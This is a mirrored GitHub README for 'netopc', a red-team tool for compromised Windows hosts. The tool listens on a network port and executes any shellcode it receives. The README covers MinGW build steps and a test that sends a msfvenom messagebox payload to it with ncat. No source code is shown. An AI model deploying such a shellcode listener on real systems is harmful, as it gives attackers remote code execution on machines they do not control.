Coder Social home page Coder Social logo

totekuh / netopc Goto Github PK

View Code? Open in Web Editor NEW
0.0 1.0 0.0 35 KB

netopc is a tool that executes shellcode on compromised systems by listening for network connections and running received shellcode in a separate process.

Makefile 5.89% C 94.11%

netopc's Introduction

Overview

netopc is a tool designed for red team operations to enable remote execution of shellcode on compromised systems.

It functions by listening for network connections, receiving raw machine code (shellcode), and executing the received code in a separate process.

Prerequisites

  • Linux environment
  • MinGW-w64 toolchain installed for cross-compiling to Windows targets
  • Standard development tools (make, gcc)

Usage

Clean the project files:

make clean

Compiling for x86

Use the following command to compile the project for x86 architecture:

make CC=i686-w64-mingw32-gcc

Compiling for x64

For compiling the project to support x64 architecture, use the x64 specific MinGW-w64 compiler:

make CC=x86_64-w64-mingw32-gcc

Execute the compiled binary on a Windows machine or in a test environment:

./netopc.exe

Testing

Use this command to start up netopc:

PS C:\Users\User> .\netopc.exe

Use the following commands to generate shellcode that pops up a message box and then execute it remotely on the compromised system where netopc is running:

msfvenom -p windows/messagebox -f raw > shellcode.bin
cat shellcode.bin |ncat 192.168.56.104 42000

netopc

netopc's People

Contributors

totekuh avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.